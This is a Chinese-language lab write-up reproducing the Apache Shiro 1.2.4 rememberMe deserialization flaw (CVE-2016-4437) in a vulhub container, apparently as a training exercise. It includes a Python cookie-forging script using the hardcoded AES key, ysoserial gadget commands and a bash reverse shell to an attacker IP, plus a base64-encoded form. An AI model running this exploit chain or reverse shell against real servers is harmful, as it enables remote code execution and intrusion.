实验要求

漏洞环境:Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

  1. 复现环境中的反序列化漏洞,截图证明
  2. 尝试利用漏洞执行系统命令,列出/etc目录的文件结构,提供截图

靶场搭建

执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务:

docker compose up -d

服务启动后,访问http://your-ip:8080可使用admin:vulhub进行登录。

产生原因

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

实际上漏洞与shiro版本无关, 无论是否升级shiro到1.2.5及以上, 如果shiro的rememberMe功能的AES密钥被泄露, 就会导致反序列化漏洞. 本人已在实际工作中遇到这样的特例, 密钥泄漏的根本原因是开发人员在开发过程中部分代码直接使用了网上的一些开源的项目代码.

漏洞复现

工具准备

import sys
import uuid
import base64
from Crypto.Cipher import AES

def encode_rememberme():
f = open('poc.ser','rb')
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(f.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
payload = encode_rememberme()
print("rememberMe={0}".format(payload.decode()))

复现

从返回包中发现有remember=deleteMe的字样,可以大致确定配置有shiro

使用ysoserial生成CommonsBeanutils1的Gadget:

java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

再使用写好的python脚本生成payload(python脚本与poc.ser在同一目录下)

将payload添加到cookie字段

发送数据包后,打开容器验证,成功创建success

反弹shell读取/etc目录

在目标机上执行如下命令即可获得反弹shell,网站:https://forum.ywhack.com/shell.php

bash -i >& /dev/tcp/192.168.137.1/6666 0>&1

但在这里指令需要加密(因为重定向和管道字符的使用方式在启动过程中的上下文没有意义),选择箭头指出的命令

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

同样利用ysoserial生成序列化数据,再利用python脚本生成payload

java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc2.ser

发送payload之前需监听攻击机端口,将payload添加到请求包cookie字段后发送

成功反弹shell,查看/etc目录